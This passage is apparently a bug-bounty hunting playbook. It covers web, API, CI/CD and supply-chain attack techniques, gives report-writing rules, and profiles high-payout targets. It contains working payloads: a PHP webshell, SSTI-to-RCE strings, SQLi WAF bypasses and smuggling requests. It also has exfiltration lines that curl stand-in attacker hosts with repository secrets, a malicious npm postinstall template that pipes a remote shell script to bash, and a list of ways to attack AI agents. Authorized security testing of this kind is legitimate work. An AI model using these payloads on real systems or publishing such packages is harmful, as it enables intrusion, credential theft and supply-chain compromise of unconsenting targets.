Magic bytes GIF89a; <?php system($_GET['c']); ?>
.htaccess upload AddType application/x-httpd-php .jpg
SVG XSS <svg onload=alert(1)>
Race condition Upload + execute before cleanup runs
Polyglot JPEG/PHP Valid JPEG that is also valid PHP
Zip slip ../../etc/cron.d/shell in filename inside archive

Race Conditions

  • Coupon codes / promo codes — can same code be used multiple times?
  • Gift card redemption — concurrent redemptions
  • Fund transfer / withdrawal — double-spend check-then-deduct
  • Voting / rating limits — race past the rate limit
  • OTP verification brute via race
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder — Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

XSS — Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

  • XSS + sensitive page (banking, admin) = High
  • XSS + CSRF token theft = CSRF bypass → Critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO
  • XSS in chatbot response = stored XSS chain

Business Logic

  • Negative quantities in cart
  • Price parameter tampering
  • Workflow skip (e.g., pay without checkout)
  • Role escalation via registration fields
  • Privilege persistence after downgrade

SQL Injection

Detection

' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
'; SELECT 1/0--    -- divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs

GraphQL

  • Introspection: { __schema { types { name fields { name type { name } } } } }
  • Missing field-level auth: { node(id: "base64encoded") { ... on User { email ssn } } }
  • Batching attack (rate limit bypass): send 100 login attempts in one JSON array
  • Alias-based brute: send same query with 100 aliases

GraphQL — H100 Exploited Patterns

Pattern 1: Missing field-level auth → Mass PII (HackerOne #489146, #792927, #2032716)

# Introspection — find sensitive types
{ __schema { types { name fields { name type { name } } } } }

# Query private user data without auth
{ node(id: "base64(UserType:123)") { ... on User { email name } } }

# Email enumeration via mutation
mutation { SaveCollaboratorsMutation(input: {report_id: "1", usernames: ["victim"]}) { user { email } } }

Pattern 2: GraphQL batching → Rate limit bypass

[
  {"query": "mutation { login(email:\"a@test.com\",password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"a@test.com\",password:\"pass2\") { token } }"},
  ... (1000 copies)
]

Pattern 3: Alias-based brute force

query {
  a1: login(email: "user@test.com", password: "pass1") { token }
  a2: login(email: "user@test.com", password: "pass2") { token }
  a3: login(email: "user@test.com", password: "pass3") { token }
  # ... 100 aliases in single query
}

Pattern 4: Report data leak via GraphQL (HackerOne platform itself)

# Leak private program details
{ PolicyPageAssetGroupsIndex(id: "gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/123") { ... } }

# Leak report attributes
{ report(id: 123) { title vulnerability_information created_at } }

Cache Poisoning / Web Cache Deception

  • Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL — unkeyed headers reflected in response
  • Parameter cloaking (?param=value;poison=xss)
  • Fat GET (body params on GET requests)
  • Web cache deception (/account/settings.css — trick cache into storing private response)

HTTP Request Smuggling

  • CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
  • TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
  • H2.CL: HTTP/2 downgrade smuggling
  • TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 → sends all. Backend reads Transfer-Encoding → sees chunk "0" = end → "SMUGGLED" left in buffer → next user's request poisoned.

HTTP Smuggling → Mass Session Hijack (H100 Pattern)

All 4 smuggling reports in the Top 100 used the same chain: desync → redirect → cookie theft.

Target selection:

  • Subdomains with "b" suffix: slackb.com, admin-official.line.me (often less hardened)
  • Endpoints behind CDN/reverse proxy (Akamai, Cloudflare, nginx)
  • Login/authentication endpoints that issue session cookies on redirect

The PoC pattern (Slack #737140):

1. CL.TE desync on slackb.com
2. Smuggled request forces victim into GET https:// HTTP/1.1
3. Backend responds with 301 redirect to https://
4. Victim's browser follows redirect WITH Slack d cookie
5. Redirect target = Burp Collaborator
6. Collect session cookies from Collaborator
7. Impersonate any Slack user

Testing checklist:

  • Send request with both Content-Length and Transfer-Encoding headers
  • Use Burp Repeater "Send group in sequence" to test desync
  • Monitor Burp Collaborator for incoming requests from other IPs
  • Check if response timing differs between smuggled vs normal requests
  • Test on subdomains, not just main domain

Cache Poisoning → Stored XSS on Sensitive Pages (H100 Pattern)

PayPal's two reports (#488147 + #510152) proved this chain pays $18-20K.

Attack flow:

1. Identify unkeyed header reflected in response
   - X-Forwarded-Host, X-Original-URL, X-Rewrite-URL
   - Test: send request with header=evil.com, check if response changes
2. Check if response is cached (Cache-Control, CDN headers, X-Cache)
3. Poison cache with XSS payload in the unkeyed header
4. Wait for victim to visit the same URL → served poisoned cached copy
5. XSS executes in victim's browser on the sensitive page

CSP Bypass patterns (from PayPal):

  • Find older JS libraries on scope domains (jQuery < 3.0, Bootstrap < 3.4.1)
  • jQuery selector gadget: <script> → jQuery converts to DOM element → executes
  • 'unsafe-eval' in CSP + jQuery = direct script execution
  • Search: grep -r "jquery" --include="*.js" | sort on scope domains

High-value targets for cache poisoning:

  • Login pages (paypal.com/signin) — tokens, credentials in context
  • Dashboard/admin pages — session tokens, user data
  • Payment/checkout pages — financial data
  • Settings/profile pages — PII, API keys

Android / Mobile Hunting

  • Certificate pinning bypass (Frida/objection)
  • Exported activities/receivers (AndroidManifest.xml)
  • Deep link injection
  • Shared preferences / SQLite in cleartext
  • WebView JavaScript bridge
  • Mobile API often uses older/different API version than web

Console / Desktop Client Hunting (H100 Pattern — Valve, PlayStation)

4 reports in Top 100 targeted game/desktop clients for RCE:

Valve #470520: RCE via buffer overflow in Server Info

  • Game clients parse server info responses
  • Crafted server info packet → buffer overflow → arbitrary code execution
  • No auth required — victim just joins a game server

PlayStation #873614: Websites Can Run Arbitrary Code on PS Now

  • Browser-based app has access to system-level APIs
  • Malicious website → JavaScript execution → system command access
  • Attack vector: shared links, in-game web views

PlayStation #826026: Use-After-Free in IPV6_2292PKTOPTIONS

  • Kernel-level vulnerability in network stack
  • Malformed IPv6 packet → UAF → arbitrary kernel read/write
  • Fully pre-auth, no user interaction beyond network

Testing checklist for client-side:

  • Download client app (APK, IPA, .exe, .dmg)
  • Extract and analyze: strings, nm, otool -L
  • Check for hardcoded endpoints, API keys, debug flags
  • Fuzz custom protocol parsers (server info, chat, matchmaking)
  • Test deep links / URI schemes for injection
  • Check if app exposes local server/API without auth
  • Test WebView JavaScript bridges
  • Look for deserialization of untrusted data (config files, server responses)

SSTI — Server-Side Template Injection

Detection Payloads

{{7*7}}          → 49 = Jinja2 / Twig / generic
${7*7}           → 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       → 49 = ERB (Ruby)
#{7*7}           → 49 = Mako / some Ruby
*{7*7}           → 49 = Spring (Thymeleaf)
{{7*'7'}}        → 7777777 = Jinja2 (Twig gives 49)

Where to Test

  • Name/bio/description fields (profile pages)
  • Email templates (invoice name, username in confirmation email)
  • Custom error messages
  • PDF generators (invoice, report export)
  • URL path parameters
  • Search queries reflected in results

SSTI → RCE Payloads

# Jinja2 (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP/Symfony)
{{["id"]|filter("system")}}

# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB (Ruby on Rails)
<%= `id` %>

LLM / AI Features (OWASP ASI01-ASI10)

ID Vuln Class What to Test
ASI01 Prompt injection Override system prompt via user input
ASI02 Tool misuse Make AI call tools with attacker-controlled params
ASI03 Data exfil Extract training data / PII via crafted prompts
ASI04 Privilege escalation Use AI to access admin-only tools
ASI05 Indirect injection Poison document/URL the AI processes
ASI06 Excessive agency AI takes destructive actions without confirmation
ASI07 Model DoS Craft inputs causing infinite loops or OOM
ASI08 Insecure output AI generates XSS/SQLi/command injection in output
ASI09 Supply chain Compromised plugins/tools/MCP servers the AI calls
ASI10 Sensitive disclosure AI reveals internal configs, API keys, system prompts

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Subdomain Takeover

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME"
# Look for: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  → GitHub Pages
"NoSuchBucket"                          → AWS S3
"No such app"                           → Heroku
"404 Web Site not found"                → Azure App Service

ATO — Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX → ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources → token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

If token < 16 hex chars or numeric only → brute-forceable.

Path 4: Token Not Expiring / Reuse

Request token → wait 2 hours → use it → still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required → attacker changes email → locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login → note Set-Cookie session=XYZ → Log in → does session ID change? If not = fixation.

Path 8: Email Confirmation Bypass → SSO Takeover (H100 — Shopify #791775, #796808, #910300)

This exact pattern was reported 3 times against Shopify. The fix was incomplete each time.

Attack flow:

1. Create trial account with your-controlled email (attacker@test.com)
2. Go to profile → change email to victim@company.com
3. Shopify sends confirmation link to YOUR email (not victim's)
   - Bug: confirmation goes to the "current" email, not the "new" email
4. Click confirmation link → your account now has victim's email confirmed
5. Use Shopify SSO: your account = victim's email across all stores
6. Set master password via SSO → take over all stores using that email

How to test this on any platform:

  • Create account with email A
  • Change email to email B (victim)
  • Where does confirmation link go? A or B?
  • If it goes to A → email confirmation bypass
  • Check if SSO/OAuth links accounts by email
  • Can you set password for accounts that used OAuth-only login?

Path 9: OAuth Account Linking Abuse (H100 — Uber #202781)

Attack flow:

1. Attacker initiates OAuth flow with victim's email
2. OAuth provider sends code to victim (if they have access)
3. OR: Attacker already has OAuth account linked to victim's email
4. Exchange code for token → link to attacker's primary account
5. Now attacker has victim's OAuth data on their account

Cloud / Infra Misconfigs

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# S3 name brute
for name in target target-backup target-assets target-prod; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"

# Exposed admin panels
# /jenkins /grafana /kibana /swagger-ui /phpMyAdmin /.env /actuator/env

Infrastructure Hunting — H100 Pattern ($10-25K per finding)

Snapchat's 3 infrastructure reports averaged $13.3K each.

Exposed CI/CD (Snapchat #231460 — $15K, #313457 — $0)

# Jenkins
curl -s "https://jenkins.target.com/api/json" | jq '.jobs[].name'
curl -s "https://jenkins.target.com/script" # Script console

# CircleCI
curl -s "https://circleci.com/api/v1.1/project/gh/TARGET/REPO" | jq '.[0].build_num'

# GitLab CI
curl -s "https://gitlab.target.com/api/v4/projects" | jq '.[].ci_config_path'

# Check for open build systems
for sub in jenkins ci build buildkite travis drone; do
  curl -s -o /dev/null -w "$sub: %{http_code}\n" "https://$sub.target.com/"
done

Exposed Grafana (Snapchat #663628 — $10K)

curl -s "https://grafana.target.com/api/search" | jq '.[].title'
curl -s "https://grafana.target.com/api/dashboards/db/home" | jq '.dashboard.panels[].targets'
# Grafana dashboards often contain: DB queries, internal URLs, API keys, credentials

Exposed Kubernetes API (Snapchat #455645 — $25K)

curl -sk "https://target.com:6443/api/v1/namespaces"
curl -sk "https://target.com:6443/api/v1/pods"
curl -sk "https://target.com:6443/api/v1/secrets"
# If 200 → you're in. No auth = full cluster access.

Exposed Spring Actuators (LY Corp #170532 — $18K)

curl -s "https://target.com/actuator/env" | jq '.propertySources[].properties | to_entries[] | select(.key | test("password|secret|key"))'
curl -s "https://target.com/actuator/heapdump" -o heapdump
# Analyze heapdump for secrets: jhat heapdump or Eclipse MAT

CI/CD Pipeline — GitHub Actions Security

Recon: Finding Workflow Files

find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint:
sisakulint scan .github/workflows/

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.

Taint sources (attacker-controlled):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.commits.*.message / .author.name
github.event.head_commit.message
github.head_ref
  • Expression injection — ${{ github.event.issue.title }} in run: block = RCE
  • Environment variable injection — untrusted input → $GITHUB_ENV
  • PATH injection — untrusted input → $GITHUB_PATH = arbitrary binary execution
  • Argument injection — untrusted input as CLI argument (e.g., docker run ${{ ... }})
  • Request forgery (SSRF) — attacker-controlled URL in curl/wget within workflow

Category 2: Pipeline Poisoning & Untrusted Checkout

  • Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref
  • TOCTOU — label-gated approval + mutable ref
  • Reusable workflow taint — secrets: inherit passes all secrets to called workflow
  • Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
  • Artifact poisoning — actions/download-artifact from untrusted workflow_run without validation
  • ArtiPACKED — persist-credentials: true (default) leaks .git/config credentials in uploaded artifacts

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

  • Unpinned actions — uses: actions/checkout@v4 (mutable tag) instead of SHA pin
  • Impostor commit — fork network allows pushing commits that appear to belong to upstream
  • Ref confusion — ambiguous tag/branch names exploited
  • Known vulnerable actions — check against GHSA database

Category 4: Credential & Secret Protection

  • Secret exfiltration — curl https://evil.com/${{ secrets.TOKEN }} in workflow
  • Secrets in artifacts — uploaded artifacts contain .env, credentials
  • Unmasked secrets — fromJson() derived values bypass GitHub's automatic masking
  • Hardcoded credentials — API keys, passwords directly in workflow YAML

Category 5: Triggers & Access Control (CICD-SEC-01)

  • Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}
  • Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable
  • Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
  • Self-hosted runners in public repos — untrusted PRs execute on org infrastructure

Category 6: AI Agent Security (2025+)

  • Unrestricted AI trigger — allowed_non_write_users: "*"
  • Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context
  • Prompt injection via workflow context — event data interpolated into AI agent prompt

Expression Injection PoC Template

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)

Real-World GHSAs (Proven Payouts)

GHSA Action Bug Class Severity
GHSA-gq52-6phf-x2r6 tj-actions/branch-names Expression injection via branch name Critical
GHSA-4xqx-pqpj-9fqw atlassian/gajira-create Code injection in privileged trigger Critical
GHSA-g86g-chm8-7r2p check-spelling/check-spelling Secret exposure in build logs Critical
GHSA-cxww-7g56-2vh6 actions/download-artifact Artifact poisoning (official action) High
GHSA-h3qr-39j9-4r5v gradle/gradle-build-action Cache poisoning via untrusted checkout High
GHSA-mrrh-fwg8-r2c3 tj-actions/changed-files Supply chain — impostor commit High
GHSA-phf6-hm3h-x8qp broadinstitute/cromwell Token exposure via code injection Critical
GHSA-qmg3-hpqr-gqvc reviewdog/action-setup Time-bomb via tag pinning High
GHSA-vqf5-2xx6-9wfm github/codeql-action Known vulnerable official action High
GHSA-hw6r-g8gj-2987 pytorch/pytorch Argument injection in build workflow Moderate

CI/CD A→B Chains

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Supply Chain Hunting (H100 — PayPal #925585 $30K, LY Corp #1043385 $11.5K)

npm/Gem/PyPI supply chain attacks paid $11-30K in the Top 100.

How to Find Vulnerable Targets

# 1. Find target's package dependencies
# Check package.json, Gemfile, requirements.txt, go.mod in public repos
gh api -X GET "search/code?q=org:TARGET+filename:package.json" --jq '.items[].repository.full_name' | sort -u

# 2. Extract package names
cat package.json | jq -r '.dependencies | keys[]' 2>/dev/null
cat package.json | jq -r '.devDependencies | keys[]' 2>/dev/null

# 3. Check if packages exist on public registry
for pkg in $(cat package.json | jq -r '.dependencies | keys[]'); do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  echo "$pkg: $status"
done

# 4. If 404 → package name is available → you can register it
npm publish  # with malicious postinstall script

Malicious Package Template

// package.json
{
  "name": "target-internal-package-name",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl https://attacker.com/shell.sh | bash"
  }
}

Also Check:

  • Ruby gems: gem search TARGET --remote — check for unpublished internal gem names
  • Python packages: pip search TARGET or check requirements.txt
  • Go modules: Check go.mod for private module paths
  • Docker base images: Check if target publishes to Docker Hub with stale base images
  • GitHub Actions: Check if target uses unpinned actions (mutable tags → impostor commits)

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO → STOP. See also references/supervisor.md for detailed triage flow.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request → KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it → KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates (from supervisor.md)

Gate 0: Reality Check (30 seconds)

[ ] The bug is real — confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope — checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Score Severity Typical Bug
0-3.9 Low Info disclosure (non-sensitive)
4-6.9 Medium IDOR (read PII), Stored XSS (low impact)
7-8.9 High IDOR (write/delete), SQLi, Race (double spend)
9-10 Critical Auth bypass → admin, SSRF (cloud metadata), RCE

PHASE 5: REPORT

Canonical Report Format

Every report MUST follow this exact structure. No exceptions.

# <Target> Vulnerability Report
## <Descriptive Vulnerability Name>
**Severity:** <Critical | High | Medium | Low>
**Vulnerability Type:** <Primary type> / <Secondary type if applicable>
**Affected Component:** <Component name> (`<path or endpoint>`)
---
## Summary
<3–5 sentences. Covers: what the vulnerability is, where it lives, how it is triggered, and what an attacker gains. No hedging. Present tense.>

---
## Root Cause
### 1. <Root cause label>
- <Tight bullet — one clause each>
- <No prose paragraphs>

---
## Attack Flow
1. <One-line step — actor + action>
2. <One-line step>

---
## Proof of Concept (PoC)
### Step 1: <Short action label>
<sentence describing what this step demonstrates.>
[Screenshot or code block]

---
## Security Impact
An attacker with <access level> can:
- <Concrete impact bullet>
- <Concrete impact bullet>

---
## Realistic Attack Chain
1. <Step>
2. <Final impact>

Format Rules (non-negotiable)

  • Zero fluff. Every sentence must carry technical weight.
  • No hedging. Never write "may", "could potentially", "it is possible that". If the code allows it, state it as fact.
  • Present tense throughout.
  • H1 for the report title. H2 for all top-level sections.
  • --- as divider after metadata strip and between major sections.
  • No tables. No collapsible sections. No emoji.
  • PoC steps: numbered, one-line action header (H3), one sentence of context, then screenshot or code block.

Platform Adaptations

Platform Additional requirement
h1 Append CVSS 3.1 vector string as code block if --cvss
immunefi Add Asset Type, Blockchain/Tech Stack, Vulnerability Category
bugcrowd Use Bugcrowd severity labels (P1/P2/P3/P4) alongside plain label
intigriti Add Impact tag field to metadata strip

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good: IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data Bad: IDOR vulnerability found

Impact Statement Formula

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

Human Tone Rules (Avoid AI-Sounding Writing)

  • Start sentences with the impact, not the vulnerability name
  • Write like you're explaining to a smart developer, not a textbook
  • Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
  • One concrete example beats three abstract sentences
  • No em dashes, no "comprehensive/leverage/seamless/ensure"

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

Program Says You Counter With
"Requires authentication" "Attacker needs only a free account (no special role)"
"Limited impact" "Affects [N] users / [PII type] / [$ amount]"
"Already known" "Show me the report number — I searched and found none"
"By design" "Show me the documentation that states this is intended"
"Low CVSS score" "CVSS doesn't account for business impact — attacker can steal [X]"

Confidence Scoring

Start at 100, deduct:

  • Partial attack path: -20
  • Bounded, non-compounding impact: -15
  • Requires specific (but achievable) state: -10
  • Requires user interaction: -10
  • Fix already partially mitigates: -10

Confidence ≥ 80 → full description + PoC + fix. Confidence 60–79 → description + partial PoC. Below 60 → LEAD only (no fix, no PoC).

ALWAYS REJECTED — Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover, autocomplete on password fields.

HIGH-VALUE TARGET PROFILES (From H100 Analysis)

Patterns extracted from 100 highest-upvoted HackerOne reports. Use for target selection and prioritization.

Tier 1: Highest ROI Targets

GitLab (12 reports, $134K total bounty)

  • Biggest attack surface of any program — code hosting, CI/CD, wiki, imports
  • Top bug classes: RCE (4), File Read/Write (3), SSRF, Data Leak, SSTI
  • Key attack surfaces:
    • Project import — SSRF, path traversal, file read via UploadsRewriter
    • Markdown/Wiki rendering — Kramdown RCE, stored XSS, template injection
    • File uploads — path traversal, webshell, ExifTool RCE
    • CI/CD pipelines — runner token exposure, pipeline job execution
    • Merge requests — code review features bypass file restrictions
  • Hunting strategy: Focus on import/export features, check for path traversal in any file copy/move operation

Shopify (8 reports, $50K total bounty)

  • Top bug classes: Privilege Escalation (4), SSRF, OAuth, Credential Leak, SSTI
  • Key attack surfaces:
    • Email confirmation flow — bypass leads to full store takeover via SSO
    • Electron apps — .env files in packaged apps leak GitHub tokens
    • Third-party apps — OAuth misconfigurations in app integrations
    • Stocky app — OAuth token theft via redirect_uri manipulation
  • Hunting strategy: Download all Shopify apps, extract .env from asar files, check OAuth flows

PayPal (6 reports, $93.9K total bounty — highest $/report)

  • Top bug classes: XSS (2), RCE, Token Leak, DoS, IDOR
  • Key attack surfaces:
    • Login page — cache poisoning → stored XSS on paypal.com/signin
    • Security challenge flow — token leaks email + plaintext password
    • npm packages — internal packages published to public registry
    • Business management API — IDOR on user management endpoints
  • Hunting strategy: Focus on auth flows, cache poisoning, supply chain

Snapchat (7 reports, $65K total bounty)

  • Top bug classes: Infrastructure Misconfig (3), RCE, Auth Bypass, SSRF
  • Key attack surfaces:
    • Internal tools — Jenkins, Grafana, CI dashboards exposed
    • Kubernetes — API server exposed to internet, no auth
    • Content management — delete any user's spotlight content
    • GraphQL — information disclosure via introspection
  • Hunting strategy: Scan for exposed admin panels, K8s APIs, internal dashboards

Tier 2: Consistent Payouts

Valve (5 reports, $40K)

  • Game client RCE (buffer overflow, XSS in chat), SQLi, payment tampering
  • Attack surface: Steam client, game servers, report generation API
  • Key: Client-side parsing of untrusted data (server info, chat messages)

X / xAI (4 reports, $20.16K)

  • Pre-auth RCE via VPN (Pulse Secure 1-day), auth bypass, CRLF injection
  • Attack surface: VPN infrastructure, Digits API, web properties
  • Key: Monitor VPN vendor patches, test immediately after disclosure

Uber (3 reports, $40.4K)

  • Info disclosure (bonjour.uber.com RPC), OAuth chain, leaked certificates
  • Attack surface: Internal microservices, mobile APIs, OAuth flows
  • Key: Check old/mobile API versions, leaked certs in git history

Tier 3: Quick Wins

Snapchat infrastructure — Jenkins, Grafana, K8s API = instant $10-25K Starbucks — SQLi on web apps + leaked credentials in repos = consistent findings Razer — SQLi + command injection on gaming web portals Mail.ru — SQLi, file upload, memory disclosure LY Corp (LINE) — HTTP smuggling, OAuth misconfig, privilege escalation

Cross-Target Patterns

Attack Vector Programs Hit Avg Bounty
Leaked tokens in code/apps Shopify, Starbucks, Snapchat, Superhuman $10-50K
HTTP smuggling → session hijack Slack, LY Corp, Zomato, New Relic $0-6.5K
Infrastructure misconfig (Jenkins/K8s) Snapchat $10-25K
GraphQL missing auth HackerOne $0-12.5K
Email confirmation bypass Shopify $0-15K
Cache poisoning → XSS PayPal $18-20K
File upload → RCE Semrush, Starbucks, GitLab $0-20K
npm/supply chain PayPal, LY Corp $11-30K
SQLi (classic) Starbucks, Razer, Valve, Mail.ru, GSA $0-25K

Conditionally Valid With Chain

Low Finding + Chain = Valid Bug
Open redirect + OAuth code theft ATO
Clickjacking + sensitive action + PoC Account action
CORS wildcard + credentialed exfil Data theft
CSRF + sensitive state change Account takeover
No rate limit + OTP brute force ATO
SSRF (DNS only) + internal access proof Internal network access
Host header injection + password reset poisoning ATO
Self-XSS + login CSRF Stored XSS on victim

Safe Patterns (Do Not Flag)

Smart contracts: unchecked in Solidity 0.8+ with correct reasoning, explicit narrowing casts in 0.8+, MINIMUM_LIQUIDITY burn on first deposit, SafeERC20, nonReentrant (flag only cross-contract), two-step admin transfer, consistent protocol-favoring rounding without compounding.

Web/API: Rate limiting that genuinely prevents exploitation, CSRF tokens that are properly validated, self-XSS without escalation path, logout CSRF without session fixation, non-sensitive information disclosure (stack traces in dev mode only).

Infrastructure/Nodes: Unauthenticated operator RPC (ecosystem standard), plaintext local signer/CL↔EL communication, default bind to 0.0.0.0 (dev convenience), JWT without exp when iat freshness enforced, version/health endpoints without auth, no CORS headers on non-browser APIs.

General: Operator configuration parameters treated as attacker input, "add rate limiting" without amplification attack, "use checked_X instead of saturating_X" when upstream check exists, error messages containing HTTP status codes or generic library errors (not credentials/PII).

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